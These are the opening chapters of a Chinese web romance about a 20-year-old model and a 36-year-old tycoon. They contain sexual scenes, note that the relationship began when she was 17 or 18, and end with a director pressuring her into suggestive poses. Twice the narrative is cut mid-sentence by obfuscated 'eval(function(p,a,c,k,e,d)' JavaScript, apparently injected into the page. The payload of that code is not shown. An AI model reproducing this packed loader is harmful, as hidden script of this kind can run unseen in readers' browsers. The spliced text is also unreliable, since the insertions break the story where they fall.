《京夜来信》 1. 京夜 《京夜来信》/蕉女萝 2026/05/05 晋江文学城独家发表 * 从机场出来时,细雨迎面,淅淅沥沥地落了下来。 三月底的北京,凉意还有些逼人,刚下过一场雨,空气里浮动着潮湿的寒气,黏腻地贴附在皮肤上,让人骨子里沁出微微的寒。 孟绾甯没有撑伞,只抬手拂开额前的雨丝。 不多时,那齐腰的黑色长直发便蒙上一层雨雾,水汽如烟似地,在她发尾轻轻荡漾开来。 一辆黑色宾利静静泊在路边,漆黑的车窗吞没了内里的光景,只余一片幽深的暗色。 车前立着个穿风衣的男人,身量修长,眉目间透着几分疏淡。 孟绾甯认出他,是薄瑾杉的秘书。 见了她,男人微微颔首,唤了声“孟小姐”,嗓音清冷克制,随即侧身拉开后座车门。 后座空荡荡的,孟绾甯略有些惊讶,柔声问:“他呢?” 秘书听到这个“他”,微微蹙眉,似乎觉得这个称呼有些不敬,但他未说什么,只说:“先生公务缠身,让先接您回去。” 孟绾甯掩住失落,说了句“好”。 从首都国际机场到万柳别墅区的路不算远,一路高速,不过二十分钟光景,沿着北四环再行几公里,便到了。 门卫认出熟悉的车牌,抬手升起门闸,车辆幽幽地驶了进去。 先是穿过一条两侧种满树木的幽深小道,再往里走,视野便豁然开阔了些。 一幢名为蘭园的独栋别墅,静静地立在眼前。 这里不过是薄瑾杉在京的众多房产之一,孟绾甯平时不大来。 房子太大了,薄瑾杉又常出差,多数时候不在家,只留管家和佣人守着,她总觉得有些不自在。 相比之下,她更喜欢西城的那套公寓,离她工作的地方近,是薄瑾杉为了方便她工作而购置的。 房子买的时候就挂在她名下,办理房产证的时候她才知道这不到两百平的房子竟然花了天价,不过在寸土寸金的地界,想来也是合理。 薄瑾杉不在北京时,她便住在西城。薄瑾杉回来了,便会差人将她接到蘭园。 没什么别的原因。 蘭园离她工作相对来说比较近,附近人少,空气也好,薄瑾杉素来喜静。何况像他这样身居高位久了的人,对居住环境的私密性,总是格外讲究的。 “先生说什么时候回来了吗?”孟绾甯跟秘书打探。 今天薄瑾杉本说要亲自去接她,但临时被放了鸽子。 他行程繁忙,消息和电话经常都是秘书代为打理,是有个私人电话,孟绾甯不常打,就算打了,大多时候也都是无人接听或者由秘书代为接听。 所以一般都是薄瑾杉找她,她要出现,但她需要薄瑾杉的时候,却只能先联系到他的秘书。 只是她十七八岁就跟了他,两人恋爱三年,她自己心里跟薄瑾杉的感情定位总归是跟寻常人有些不同。 秘书说:“先生未说,不过既然接您过来,理应不会让您等太久。” “他最近又胃痛了吗?” “暂时没有。” 过了片刻,秘书见她无话要问,按开车内的暗锁,提醒道:“小姐,请下车吧。” 孟绾甯下了车,管家与佣人早已候在门外,知她要来,便迎了上来。 她是从普通人家走出来的孩子,从小母亲教给她的道理,是女人该在家中相夫教子。因而旁人伺候她,她总觉着不自在。 寒暄几句,管家与佣人只将她迎进门,妥帖地替她褪了外衣、换了鞋,便识趣地退了下去。 大约是薄瑾杉吩咐过,她在的时候,不喜被人打扰。 况且薄瑾杉在家,素来是不分场合地要同她亲热。只有两人在时,管家与佣人便都住在别墅的侧楼里,不到万不得已,绝不会现身。 孟绾甯先上了二楼。 她跟薄瑾杉住在蘭园的二层主卧,主卧旁边是她自己的卧室,规格比主卧小一些,不常住,久而久之,就用来堆放衣物。 主卧宽敞得很,床又大又软。里头还套着一间小隔间,摆了一张小床。 薄瑾杉在这方面强势且霸道,而且重欲,每次唤她过来,总要做到半夜,有时甚至到天光微亮。 主卧里那张大床湿得没法睡了,他便抱着她移步到隔间的小床上。有几次,连小床也被弄得湿透,便只能再换到她的房间里去。 孟绾甯从衣柜里取了一件旗袍,先去浴室洗了澡。 浴室里的置物架上摆放着相同外观的香氛,是薄瑾杉为她选的,都是玫瑰香味,他喜欢这个味道,便也让她用这个味道。 洗完澡吹完头发,她拿出玉骨夹,将长发盘在脑后,下楼进了厨房,打算做个炖汤。 薄瑾杉有胃病,饮食上格外讲究,吃不得重油重盐的东西。孟绾甯便练出了一手好厨艺,每逢他回来,总要变着花样地投喂他。 都说女人拿捏住一个男人的胃,才能拿捏住他的心。 孟绾甯不知道自己算不算拿住了薄瑾杉的胃,只是每次她做的饭菜,他从没剩过。 锅里的汤渐渐炖出了香气,浓汤翻滚,馥郁的滋味肆意弥漫,飘散在一楼的客厅里。孟绾甯正想再切个菜,别墅的大门忽然响了。 薄瑾杉回来了。 这一回,整整半个月未见。乍一见到那张面容,是熟悉的,却又有些陌生。 他还是一如既往的西装三件套,衬衫、马甲、外套,领带打得一丝不苟。 黑发尽数向后梳去,露出高挺的眉骨与深邃的眸。 他今年三十六岁了,身材却保持得极好。 三角背阔肌健硕有力,腰线干净利落,衬衫之下,隐约可见贲张的胸肌。 薄瑾杉跟其他同龄的人看上去有很大的不同,或许是因为胃病的原因,别人在他这个年纪已经开始发福,或者被烟酒侵蚀,但他不同。 他保养得很好,很少抽烟,连酒都很少饮,身上常年是干燥温暖的龙涎香味道,孟绾甯只能在他身上看到得天独厚的成熟男性魅力。 “绾绾。”他唤,低沉温厚的嗓音一路敲到孟绾甯的心上。 “嗯,回来了。” 孟绾甯放下手里的东西,将炖汤调成小火慢炖,洗了下手,脱了围裙,就朝他走去。 她帮薄瑾杉脱下西服外套和马甲,顺口问道:“最近累吗?” “不算累。”薄瑾杉摘下手表,放在玄关柜上。 他还是那样惜字如金,孟绾甯习惯了,便知趣地没有多问。 她想帮薄瑾杉解开领带,刚伸出手握住领带打结处,却倏地被人扣住手腕。 薄瑾杉注视着她,视线落在她胸前那朵白莲花上面,眼眸深了:“新送来的?” 孟绾甯低头看了一眼,知道他是在问旗袍,“嗯”了一句,小声问:“好看吗?” 旗袍上绣着白色莲花,提花暗纹,有一朵刚好在她胸前绽放。 她皮肤白,嫩绿色的旗袍更衬得她如暖玉一般,比脑后做工精致的玉骨夹都光滑细腻。 薄瑾杉哑声说:“转一圈我看看。” 孟绾甯顿时羞红了脸。 她其实不是偏瘦的身段,只是骨架小,胜在比例好,前凸后翘,腰很细,显得珠圆玉润,用朋友的话说,便是肉都长在了该长的地方,有女人味。 只是她自己常为此苦恼,上半身太过沉坠,有时也不大舒服。 可薄瑾杉偏偏喜欢得紧,常常爱不释手地握在掌中把玩。情动之时,更是贪恋地含着吮着,便是两人温存过后相拥而卧,他也总要拢在手里,舍不得松开。 更不必说她穿上旗袍的模样了。都是量身定制的,一尺一寸都符合她的身量。 这一回又送了一批新衣来,是因为从前的那些,都被他撕烂了。 孟绾甯按薄瑾杉说的,转了过去,“有些紧了,可能最近有些吃胖了……唔!” 她惊呼一声,转过身一半的时候,就被薄瑾杉一下拉进怀里。 薄瑾杉反扣住她的手腕,托着她的腰,轻而易举把人抱到了玄关柜上,紧接着,滚烫的吻落了下来。 他这个人平时看上去冷心冷情,一副不近女色又禁欲的模样,实则他的吻侵略、压迫,跟他平时给人的感觉完全不同。 旗袍料子薄薄一层,是真丝款,沾一点水就能晕染一片。 他的吻往下落,轻咬她的脖子,而后落在那朵白莲。 没多久,白莲下的小荷露出了尖尖的枝芽,孟绾甯的眼睛也润湿了,腰酸得直不起身。 旗袍的开衩有些深,刚才抱着坐在玄关柜上的时候又扯破了一些,他顺着开衩往里面摸,眼见就要收不住火。 孟绾甯咬住被亲得发肿的下唇,双手撑在他胸前,躲着耳边滚烫的气息:“汤,我炖了汤……” “嗯。”他低声应,止住动作,埋在她的颈间深嗅一下,说:“好香。” 她有些懵,下意识以为他说自己,小声答:“我用的你准备的沐浴露。” 闻言,他轻笑几声,酥酥麻麻的嗓音从胸腔传来,他说:“我说汤,好香。” 孟绾甯立刻羞赧,耳朵都红了,双手攀住他的脖子,在男人温热的皮肤上蹭了蹭,不肯抬起头。 薄瑾杉揉着她的腰,喉结翻滚:“怎么了?” 她没说话。 他摸了摸她的脸,摸到一片潮湿,脸色瞬间冷了,手指捏住她的下巴,逼迫人抬起脸,沉声问:“哭什么?说话。” 孟绾甯周遭全是他的气息,鼻子酸的要命,眼一眨,泪就要掉下来。 她瞳孔清澈,眼睫微颤,要哭不哭的时候眸子像是蒙着一层水汽,缓缓抬眼的时候有种勾人的纯欲,让人觉得要命。 “你好久都没回来。”她委屈地说。 薄瑾杉沉默地看着她。 孟绾甯想抱他,但被捏着下巴动弹不得,她抬眼,哽咽道:“我想你。” 她眼睛是潮的,嘴唇是肿的,那朵盛开的白莲花浸着露水,看上去有些狼藉,又有些糜丽。 她一般不哭,很懂事,平时在他身边一副温柔乖顺的模样,这次怕是真想他想得狠了。 薄瑾杉呼吸重了几分,低头再度堵住她的唇。 孟绾甯后背在墙上磕了一下,但没感觉到疼,兴许是磕到了薄瑾杉的手背。 他亲了她一会,实在克制不住,把人抱起来,大步流星地往卧室走。 孟绾甯惊呼:“厨房里还没关火。” 薄瑾杉温热的手掌托着她,边亲她边含混地问:“汤里加的水多吗?” 她不知他为何问这个,老实答:“嗯,多,能够好几个人喝的。” 薄瑾杉道:“那先炖着,先喝点别的。” 孟绾甯明白过来他说的什么,脑子轰得一下炸了。 后来直接倒在床上。 孟绾甯盘发的玉骨夹不知掉在哪里,漆黑浓墨的长发散在身下。 她不知道他这段时间去了哪里,是怎么过的,但是他今天格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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也不知到了几点,孟绾甯累得睁不开眼,但薄瑾杉还是精神迸发不知餍足。 中间他抱着她去浴室洗了一次,孟绾甯迷迷瞪瞪,坐在他身上,微阖着眼伏在浴缸边上,这姿势不知怎么刺激到了他,又按着她在浴缸里弄了几次。 彻底结束的时候,已经九点多了。 他抱着她返回主卧的小床,宽厚的臂膀从身后环过来,将她揽入怀中。 两人肌肤相贴,他下巴抵在她发顶,轻轻落下一吻。 孟绾甯的困意早已散了,反倒没了睡意。 她在他臂弯里轻轻挣动了一下,掌心滑过他的手背。 心里惦着锅里的汤,怕水烧干了出事,可恍然想起他这里的家电都是智能控制的,便由着它去了。 薄瑾杉察觉到她不肯睡,手指绕过她的脸颊,将她散落在侧脸的发丝拨到耳后,问道:“拍摄顺利吗?” “挺顺利的。”她翻身回抱住他。 孟绾甯今年二十岁,去年刚从中传毕业,毕业后入职了一家模特公司,主要拍摄家居和饰品,偶尔也会接一些美妆和服饰类的拍摄。 这次是因为接了一个家居的商务拍摄,专程去了趟成都。 “出去逛了吗?” 刚泡过热水澡,薄瑾杉胸膛上还蒸腾着热气。 孟绾甯把脸埋进去,黏黏糊糊地缠着他,闷声说:“逛了,去看了大熊猫,好胖,圆滚滚的。” 听闻这,他轻声笑。 她小声抱怨:“就是走路走太多了,脚腕好疼。” 这些年被薄瑾杉宠着,她养出了几分娇气。 以前刚在一起时,薄瑾杉总帮她揉脚,只是后来他越来越忙,两人连见上一面都难,这些小事便许久不曾做了。此时提起来,无非是想让他再做一次的意思。 孟绾甯说完有些后悔,看他迟迟未开口,就想找补回来两句,说不是那个意思。 “改天再揉。”他顿一下,亲亲她的额角,“我怕忍不住,今天你太累了。” 忍不住什么。 孟绾甯反应过来他在说什么,立马羞得不说话了。 她的脚实在太敏感,他是知道的。从前他舔过,跟求欢似的,她一下就变成小喷泉。 这个话题过了,他便不再说话。 孟绾甯还是有些耐不住性子,问道:“你这次怎么出去这么久?” “嗯。”薄瑾杉声音沉了几分,“去了好几个地方。” “是有什么棘手的事情吗?” 以前就算出差,最多也就几天见不到,这次足足有半个月,太长时间见不到人,她难免患得患失。 “没有,都是小事。” 薄瑾杉明显不想在这个问题上跟她过多探讨,扯过一旁的薄毯,调好屋内空调送风模式,拍了拍她的背,安抚着:“睡觉。” “好。” 在他怀里,孟绾甯总是安心的,被他热腾腾的体温烘着,倦意慢慢袭来,她撑不住,沉沉睡去。 睡了大概不到两个小时,薄瑾杉的手机铃声忽然响起。 一声接一声,催命似的。 孟绾甯觉得自己才刚睡着不久,被这声响吵醒,泛起些起床气,小声哼哼着往薄瑾杉怀里钻。 薄瑾杉手臂还搭在她腰上,摸了摸她顺滑的脊背,语气里带了些哄:“没事,继续睡。” 他拿了手机,穿上睡衣,披了件外套,去门外接。 离开前,床垫微微陷落了一下,孟绾甯的心也跟着陷落了一下。 她听见了手机听筒里传出的声音。 很细小,很微弱,但是身为女人的直觉,她瞬间就敏锐察觉到了。 是女人的哭声。 能在这个时辰还不知死活给薄瑾杉打电话的人,只有他的前妻。 李蕴仪。 2. 京夜 孟绾甯初识薄瑾杉时,便已听闻李蕴仪这个名字。 她入学早,不到十七岁便踏进了大学校门,也正是在那一年,她遇见了薄瑾杉。 彼时,他已经结婚了。 后来阴差阳错,阔别许久再度重逢,才知他已然恢复单身。 像薄瑾杉这样的男人,但凡他愿意,便能让人轻而易举地坠入情网,更遑论彼时的孟绾甯,不过十七八岁的光景。 少女对爱情的全部幻想与期许,薄瑾杉悉数予了她。 他疼她、宠她,她日日如浸在蜜罐之中,痴迷他到不辨东西南北。 可薄瑾杉终究有过一段真真切切的婚姻。无论怎样否认,孟绾甯都无法真正做到视而不见。 而这分在意,随着她与薄瑾杉感情的日渐浓烈,也悄然滋长,愈发深重。 况且,京城这方圈子,权势显赫之人不过那么些。 薄瑾杉是家族中往上可论三代的人中龙凤,虽未承继家业,独自打拼创业,却在商业上天资卓绝。 早先建筑行业如日中天时,他便占据了一席之地,后来又凭毒辣的眼光,掘进了互联网这片新兴疆域。在旁人还死守着房地产不放时,他已不惜血本,迅速占领了用户市场。 自己的男人如此耀眼出众,身为薄瑾杉的女人,孟绾甯早在那样小的年纪,便明白了一个道理。 即便心中百般介怀,也绝不能摆到明面上,让他觉得自己的女人不识大体。 然而,身为女子,若想知道自己男人身边人的底细,总有一万种法子。 哪怕只是网络上一丝蛛丝马迹,也能顺着查到许多。 薄瑾杉的影响力之大,常年盘踞新闻金融板块。 而李蕴仪,便是与他一样,常年占据同一板块的另一人。 那时的薄瑾杉与李蕴仪,是羡煞旁人的金童玉女、模范夫妻。 无论是样貌、家世,还是学识,皆是一等一的般配。两人婚讯一经公开,媒体大肆报道了一个月,当真是好风光。 日日夜夜的梭巡和关注,那分在意在心中凝成了一个解不开的结。 孟绾甯心里难受,却不知该如何化解。 一次与薄瑾杉亲热过后,她终究没能忍住,眷恋地抚过他的眉眼,脱口而出就问他为什么会离婚。 那样的氛围下,这个问题委实有些不合时宜。 孟绾甯怕他觉得自己扫兴,垂下眼帘,不敢再看他的神情。 薄瑾杉拢着她的头发,一反常态地没有惜字如金,而是耐心回答说:“我们性格不合适,两个人都太强势,分开是必然的。” 这个答案很合理。 薄瑾杉选择她,多半也是因为她温顺乖巧,能满足他的控制欲。 可对正处于热恋中的她而言,这还不足以解开那个结。 孟绾甯抿抿唇:“那你爱过她吗?” 这样问其实就很没意思了,如果不爱,为何会结婚。 外人看来,那段婚姻像是强强联合的商业联姻,可凭薄瑾杉的地位,他还不至于要靠联姻来支撑自己的事业。 薄瑾杉果然没有正面回答她,只亲亲她的发顶,问她:“今天怎么了?怎么忽然在意起这些?” 孟绾甯摇了摇头,识趣地没再追问。 她没承认。 其实她一直都在意,只是假装大度罢了。 后来,孟绾甯便再没有在薄瑾杉面前主动提起过李蕴仪。 一方面,她觉得即便提了,薄瑾杉若不想回答,她照样得不到想要的答案。 另一方面,她后来想过,或许是因为自卑。 曾经有一个与他同样优秀的女人,陪伴在他身侧,出入各种商业场合,陪他奋斗,与他同甘共苦。 而她,却常常连他开会时所用的词句都听不太懂。 这种感觉有些不太好受,孟绾甯时常劝自己忘掉这些。 可终究,不过是自欺。 * 薄瑾杉那通电话打了许久。 他不回来,孟绾甯也睡不着。 曾经那些被她强行压下去的小情绪,此刻又在心底盘旋,隐隐有破笼而出之势。 她不愿去想,可意识总有不受掌控的时候。 窗外淅淅沥沥落起了雨。雨滴敲在玻璃上,也像砸在她心尖上。 掌心缓缓划过薄瑾杉方才躺过的位置,余温尚存。 手指不经意间触到一张小纸条,应是方才他披外套时,不小心掉出来的。 屋内窗帘紧闭,光线昏沉。 孟绾甯半坐起身,拧开一盏床头灯,借着那团暖光,看清了纸条上的文字。 是一张高奢品牌的珠宝购买小票。 她的视线向下扫去,结账时间赫然写着下午四点半。恰是她回来的时辰。 这个珠宝品牌,孟绾甯再熟悉不过。 除了工作原因需要经常接触珠宝之外,更深的了解,是因为这是李蕴仪最钟爱的品牌。 她默默关注了李蕴仪这么久,恐怕连薄瑾杉都不知道,她对那个女人的了解,已到了何种地步。 孟绾甯肌肤如玉,在那一盏灯光映照下,眼睫的投影落在侧脸上,几不可见地颤了颤。 心底最尖的那寸地方,忽然泛起酸来。 她这才知道,薄瑾杉下午放她鸽子的缘由。 根本不是什么公务繁忙。 而是忙着去陪李蕴仪了。 几乎是瞬间,泪意涌了上来,她保持着手臂撑起的身姿,足足僵了十分钟,才将那张小票捏进掌心,重新躺了回去。 又过了一阵,薄瑾杉回来了。 孟绾甯蒙在被子里,听见脚步声,堪堪睁开眼。 她没想表露出多少在意,可手心里的小票已被攥出了汗。 连她自己都未曾意识到,此刻望向薄瑾杉的目光,是带着些情绪的。 那双眸子浸着秋波,小脸与鼻尖还因方才亲热后的余韵泛着一层潮红,目光凄凄的,看上去倒更像是在撒娇。 薄瑾杉走到床边,垂眸,沉默地注视着她。 他眉骨锋利,多年沉淀早已喜怒不形于色,这样看人时,总带着一种压迫感。 他就那样看着,而后忽然俯身,捏住她的下巴,有些粗鲁地衔住她的唇瓣,带着侵略性地抵开她的齿关。 他呼吸粗了几分,吻得很重,将她的舌根都吮得发麻。 唇齿纠缠在一起,孟绾甯的心里却愈发酸胀。 “睡不着?”薄瑾杉恋恋不舍地松开,喘了口气,拇指蹭去她唇珠上沾染的水渍。 她垂下眼皮,没说话,只点了点头。 他淡然一笑,屈起手指勾了下她的脸蛋,问道:“不是炖了汤?” 孟绾甯听懂他话里的意思,抬起眼:“你想喝?”随即又下意识反驳,“都这么晚了,你胃不好,太晚吃东西不好消化。” “不碍事。”薄瑾杉起身,把她常穿的睡衣拿到床上。 看她还没要动的意思,他挑挑眉,“想让我帮你穿?” “没有,”孟绾甯有些羞,顺手将小票塞在枕头下面,忍着浑身的酸痛爬了起来,“我自己穿就好。” 薄瑾杉给她拿了一件长款吊带睡裙,领口开得有些大。 孟绾甯背对着他,将长发从一侧撩至胸前,露出白皙的后颈。 不多时,便察觉到身后灼灼的目光。心里一紧,赶紧下了床,拿了件薄纱披在背上。 跟薄瑾杉在一起这些年,孟绾甯能感觉出他对她身体的迷恋,那种迷恋中总会掺杂着某些最为偏爱的部位。 他从没说过,但时间久了,她便知道了。 他最喜欢她的颈背。 孟绾甯先他一步下楼。 厨房做的是猪骨羊肚菌汤,配上太子参、板栗和无花果,对脾胃有益。 这锅汤煮得久了些,味道还是香的,只是剩得不多,已过了食用的最佳时机。 孟绾甯没想到他还会主动提及要喝这碗汤。 他们在一起生活,很多小事上,她都能感受到薄瑾杉的尊重。 那是刻在骨子里的修养。 她为薄瑾杉做的许多事,衣食住行,尽管别人也可以打点,但只要她做了,他都会放在心上。 她喜欢为他付出,同样的,这份付出也能在他那里获得珍惜。 薄瑾杉给她的,不仅是物质上的丰裕,还有精神上的滋养。 但凡薄瑾杉对她有那么一些不好,她都不会那么介意李蕴仪这个人。 有些好处和甜头,一旦让人尝到,便再也无法舍弃,并且想要自私地占为己有。 孟绾甯心里想着事,手里一抖,一勺炖汤洒在了手背上。 她轻声“啊”了一下,紧接着“哐当”一声,勺子和另一只手里的陶瓷碗一齐掉落在地。 伴随着小声惊呼和一阵叮叮当当的声响,她往后躲了一步,但还是有一些热汤浇在了小腿和脚踝上。 薄瑾杉跟在她后面下来,听到动静后,大步流星地冲了过来。 看到地面上一片狼藉,他几不可见地皱了下眉,然后扯过她的手背:“烫到了?” 孟绾甯皮肤嫩,这么一会功夫,手背已经通红。 “先冲凉水。”他说。没等她应声,他便握着她的手放在水龙头下面。 冰凉的水流冲刷着,孟绾甯眼圈一下红了。 其实没有多疼,只是看他那样紧张自己,心里有些动容。 “还有哪里伤到没有?”薄瑾杉皱着眉,掀起她的裙摆,从上到下仔细检查着。 孟绾甯嗫嚅道:“脚……” 薄瑾杉脸色更加不好看,关了水龙头,说:“这样不行,我拿冰块。” 说罢,他便将她打横抱起,放在客厅沙发上。 薄瑾杉动作利落,回了浴室拿了毛巾出来,然后从冰箱里抓了一些冰块,包进毛巾里。 他在照顾人这方面没得说,要不然也不能跟他在一起几年,孟绾甯就被养得这么娇惯。 孟绾甯看着他一系列动作,忽然觉得不该那样揣摩度量他。 很快,薄瑾杉提着医药箱过来,在她身前蹲下。 嫩白的脚心被他握住,孟绾甯忍不住往回缩了一下,却没挣动。 她脚趾蜷了一下,在他掌心里透上一层粉,紧接着,沁凉的寒意从脚背上蔓延开来。 薄瑾杉全程都没有说话,帮她处理好之后又涂了药。 孟绾甯咬着下唇,从这个角度,能将薄瑾杉每一丝细微的表情尽收眼底。 面前的男人成熟冷峻,英挺的眉下一双薄唇,不笑时显得有些严厉。三十多岁的年纪,眼尾只有一丝不易察觉的细纹,举止松弛有度,浑身上下透着说不出的韵味。 只是从他的神情里,能分明觉出他心情不佳。 “瑾杉……”他把棉签和烫伤膏收回医药箱,起身时,被她攥住了衣角。 他“嗯”一声,敛眸看她一眼。 就这一眼,孟绾甯彻底慌了神,也顾不得心里的委屈,捉住他垂在身侧的手,道:“瑾杉,对不起,我不是故意的。” 他这么久没回来,孟绾甯怕自己扫了他的兴。 “没事。”薄瑾杉俯身,合上医药箱。 孟绾甯攥着他的衣角不放手,哽咽道:“我刚才走神了,你别生气。” 方才被薄瑾杉抱过来时,她整个人都是懵的。 肩上披的薄纱滑落一半,连带那侧睡衣的肩带也掉了下去,一侧肩膀裸露在空气里。黑色的长发如瀑布般垂落,几缕散在胸前,衬得她肌肤愈发白皙。 薄瑾杉别开眼,克制着不亲她,捏了捏眉心:“伤到的是你,跟我道什么歉?” “我怕你不高兴。” “我有什么不高兴的?”薄瑾杉把她的肩带拉上去,握住她的肩膀揉了揉,“好了,回去睡觉。” “可厨房还没收拾。” “明天让佣人收拾,烫到的地方不要沾水。” 薄瑾杉说一不二,不待她反驳,便将她抱起回了卧室。孟绾甯还想挣扎,却被他扣在怀里,低声命令道:“睡。” 窗外雨声未停。 男人的臂膀宽厚温暖,孟绾甯轻声哼,枕在他的胸膛上,往上抬了下手臂环住他,找了个舒服的姿势,安稳地睡了过去。 * 这一梦,冗长而绵沉。 醒来时,已是第二天正午。薄瑾杉不在身侧。 孟绾甯目光凝滞片刻,昨夜那些荒唐事涌入脑海,不禁闭上眼,懊恼地轻嘤一声,抬手覆在脸上。 淡淡的药膏味沁入鼻息,她睁开眼看了看。 多亏处理及时,烫伤处已好了大半。 起身寻了一圈,不见薄瑾杉。 他向来如此,来去无踪。而她的心,也随他一同空了。 下午公司有拍摄任务。孟绾甯瞥了眼时间,昨日被薄瑾杉折腾太久,这一觉睡得太沉,已经迟到了一会。 她匆匆洗漱,薄薄涂了一层淡粉唇彩,便马不停蹄地赶往公司。 化妆间里早已忙碌开来。数位化妆师面前各自坐着模特,工作人员推着衣架与鞋履穿梭其间。头顶悬挂的两台电视,正实时播放着新闻。 场面有条不紊,却又暗流涌动。 见她来了,任萱招手:“绾甯,这边。” “萱姐。”孟绾甯弯了弯唇角,走过去在任萱身前的椅子上坐定。 任萱是公司的化妆师,与她合作多次。以往大部分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李蕴仪姿态优雅,颈间梵克雅宝最新款钻石项链耀目生辉。她对着镜头粲然一笑,侧目看了薄瑾杉一眼,语气意味不明:“外界对我和薄先生的关系多有猜测,谢谢大家的关心。其实,我们的合作从没有中断过。薄先生是一位很好的合作对象,不仅是在工作上。” 化妆间里已响起窸窸窣窣的议论声,无一不是在品评电视中那两位名流的风流韵事。 孟绾甯眼睫轻颤,心头说不上是什么滋味。 李蕴仪这番话,误导性太强了,孟绾甯几乎能猜到媒体会如何抓住这几句话大肆渲染。 而且李蕴仪的那条项链,她认出来了,跟昨天那张小票上的价格对应了起来。 昨日陪同人去买珠宝,今天又现身在同一个采访现场,饶是孟绾甯再想忽略,也不免会多想。 可薄瑾杉呢。 他就站在旁边,为什么不反驳。 任萱正替她描着眼线,随口叹道:“唉,这两人这么般配,怎么就离了呢。” 旁边一位化妆师接话:“说不定没离呢,只是转地下恋了。这种豪门啊,利益牵扯太多,结婚离婚都不像咱们表面上看到的那样。” “也是。”任萱说,“薄先生这样的人,得是多少女人肖想的对象啊。若真离了,肯定也不会单着到现在。不过也只有像李小姐这样的女人,才能与之般配了。” 孟绾甯听着她们闲聊,血液几乎直冲头顶。 她很想开口解释,想告诉她们不是的,薄瑾杉是有女朋友的。 可两人的地位天差地别。即便说了,她们也不会信。反而平白给自己招来麻烦,说不定还会落人话柄,影响到他的名誉。 心里凄然,委屈得无以言表。 孟绾甯泪意潸然,瞬间盈满了眼眶。 任萱察觉到不对,问道:“绾甯,你怎么了?” 孟绾甯这才回过神,险些当众失态,赶紧扭过头定了定神,装作不经意地拭去眼角的泪珠。 “没事,眼线笔刚才戳到眼睛了。” 任萱连忙道:“天哪,那我注意点。光顾着聊八卦了,对不起啊!” 就在这时,化妆间的门被人从外面推开。 摄影助理探进半个身子,语气有些急:“萱姐,麻烦快一点,那边灯都架好了,就等咱们了。” “好了好了,马上马上。”任萱手上动作加快了几分,一边应着一边拿起口红,“绾甯,你嘴巴抿一下。” 孟绾甯有些不好意思地抿了抿唇。 化妆师的时间是按小时收费的。她迟到压缩的是别人的工作时间,可任萱不但没有抱怨,反而替她赶工,这让她心里愈发过意不去。 孟绾甯轻了轻嗓子,调整好状态:“萱姐,不好意思,今天是我来晚了。” 任萱正专注地描唇线,闻言说了句没事,又说她的脸好化,耽误不了多长时间。 孟绾甯道了谢,换了一条奶白色针织长裙,踩着高跟鞋走出化妆间。 走廊不长,拐个弯便是拍摄布景间。 布景间很大,约莫一百多平,被布置成一个温馨的客厅场景。 几个工作人员正在调试设备。 摄影师是个三十出头的男人,留着山羊胡,穿一件黑色摄影马甲,正蹲在地上摆弄三脚架。 旁边站着一个四十多岁的男人,花衬衫,脖子上挂着一条很粗的金链子,手里捏着一沓打印纸,看起来像是这次拍摄的导演。 孟绾甯走过去,微微鞠了一躬:“各位老师好,不好意思,今天因为一些私人原因来晚了,让各位老师久等了,实在抱歉。” 态度是真诚的,道歉也干脆利落。 这个圈子里,迟到是大忌。孟绾甯知道自己理亏,所以姿态放得很低。 摄影师抬头看了她一眼,没说什么,低头继续摆弄设备。 倒是那导演上下打量了她一遍,目光在她身上停留了两秒,然后笑了。 那笑容,说不上是友善还是不善。 “来了就好,来了就好。来来来,先过来。” 孟绾甯依言走近。 导演把手里那沓打印纸往旁边一扔,直接伸手在空中比划了一个姿势:“你先来这边,坐沙发上。腿稍微分开一点。对,就是这样。身体稍微往后仰。手放在——” 他一边说,一边亲自示范了一下。 那个动作,让孟绾甯心里咯噔一沉。 那不是一个正常的家居服拍摄会出现的姿势。 孟绾甯有些犹豫,站在原地没有动,踯躅片刻,柔声问道:“导演,这个拍摄大纲我看过的,是正常的天丝家居服系列,不涉及这种动作吧?” 导演的表情在那一瞬间变了。 他皱了皱眉,语气沉下来:“我是导演,我说怎么拍就怎么拍。你迟到了快四十分钟,全组人都在等你,你现在跟我谈怎么拍?” 他顿了顿,声音又拔高了半度:“你既然迟到了,耽误了大家的时间,现在就应该好好配合,把这个进度赶回来,懂吗?” 3. 京夜 这话落进耳朵里,仿佛也有几分道理。 摄影师不知何时站了起来,抱着手臂立在一边,面无表情地睨着她。 孟绾甯能感觉到,周遭几个工作人员的目光正齐刷刷地落在她身上,有打量的,有幸灾乐祸的,也有一副事不关己的冷淡。 孟绾甯心里清楚自己不占理,却也不愿与导演争执,只是柔声固执着:“可这些姿势确实不太雅观,我做不来。” 在这个圈子里,一旦被贴上擦边的标签,便再也摘不掉了。且不说会不会影响日后发展,若让薄瑾杉知道了,必定雷霆大怒。 从前有些拍摄的服装露肤多了些,薄瑾杉都要生气,更何况这些带有暗示意味的动作。 薄瑾杉本就不喜欢她抛头露面,对她的这份工作颇有微词,是她软磨硬泡地哄了许久,才说服他让自己继续做下去。 可这番犹豫看在导演与摄影师眼里,便成了不配合。 导演的脸色果然愈发阴沉。 “怎么?不愿意?”他语气里夹着火气,“我告诉你,今天这个棚是按小时租的,灯光、场地、人员,每一分钟都是钱。你迟到在先,现在又要耽误时间?你到底拍不拍?” 孟绾甯咬了咬嘴唇,心里那股被冒犯的不适感翻涌着,面上却仍是温和的:“对不起,这个我不拍了。定金我会退给你们。” 她转身要去拿角落里的包。 “站住。” 导演的声音不紧不慢地从身后传来。 孟绾甯脚步一顿,随即看见原本站在旁边的两个工作人员,不知何时已走到她身后,一左一右地拦住了去路。 “你们要干什么?”她本能地护住胸口。 导演慢悠悠地踱过来,手里不知何时多了一根烟,叼在嘴角,眯着眼看她:“孟绾甯是吧?你说不拍就不拍?合同签了,定金收了,你跟我说不拍了?” “我退定金。”孟绾甯竭力让自己的声音听起来镇定,“违约金我也会按合同赔。” “违约金?”导演笑了一声,“你确定你想清楚了再说话?” 他走到她面前,居高临下地俯视着:“我告诉你,这个圈子说大不大,说小不小,靠的是人脉,靠的是口碑。你今天从这里走出去,明天整个圈子里的人都会知道你孟绾甯是什么货色,迟到、不配合、耍大牌。你觉得以后还有谁敢用你?” 